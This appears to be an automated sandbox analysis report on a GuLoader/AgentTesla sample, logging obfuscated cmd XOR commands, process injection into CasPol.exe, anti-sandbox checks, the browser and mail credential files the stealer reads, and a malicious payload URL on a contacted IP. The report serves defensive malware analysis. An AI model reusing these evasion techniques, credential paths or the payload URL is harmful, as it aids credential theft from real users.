Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x72^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x61^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x75^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_004034C5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 1_2_004034C5

Stealing of Sensitive Information
barindex
Yara detected AgentTesla
Source: Yara match File source: 0000008F.00000002.55933402701.000000001D021000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 3308, type: MEMORYSTR
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 0000008F.00000002.55933402701.000000001D021000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 3308, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected AgentTesla
Source: Yara match File source: 0000008F.00000002.55933402701.000000001D021000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 3308, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 680567 Sample: Gulvmaattens.exe Startdate: 08/08/2022 Architecture: WINDOWS Score: 100 43 Malicious sample detected (through community Yara rule) 2->43 45 Antivirus detection for URL or domain 2->45 47 Yara detected GuLoader 2->47 49 2 other signatures 2->49 7 Gulvmaattens.exe 29 2->7         started        process3 file4 33 C:\Users\user\Falder99\...\vfslog.dll, PE32+ 7->33 dropped 35 C:\Users\user\Falder99\...\sqmapi.dll, PE32+ 7->35 dropped 37 C:\Users\user\AppData\Local\...\nsExec.dll, PE32 7->37 dropped 39 C:\Users\user\AppData\Local\...\System.dll, PE32 7->39 dropped 51 Obfuscated command line found 7->51 53 Writes to foreign memory regions 7->53 55 Mass process execution to delay analysis 7->55 57 Tries to detect Any.run 7->57 11 CasPol.exe 11 7->11         started        15 CasPol.exe 7->15         started        17 cmd.exe 7->17         started        19 66 other processes 7->19 signatures5 process6 dnsIp7 41 212.192.246.226, 49795, 80 RHC-HOSTINGGB Russian Federation 11->41 59 Tries to steal Mail credentials (via file / registry access) 11->59 61 Tries to harvest and steal browser information (history, passwords, etc) 11->61 63 Tries to detect Any.run 11->63 21 conhost.exe 11->21         started        65 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 15->65 67 Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines) 15->67 23 Conhost.exe 17->23         started        25 Conhost.exe 19->25         started        27 Conhost.exe 19->27         started        29 Conhost.exe 19->29         started        31 60 other processes 19->31 signatures8 process9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
212.192.246.226
 unknown Russian Federation
205220 RHC-HOSTINGGB false

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://212.192.246.226/jLIEsqMZom33.asd true
  • Avira URL Cloud: malware
 unknown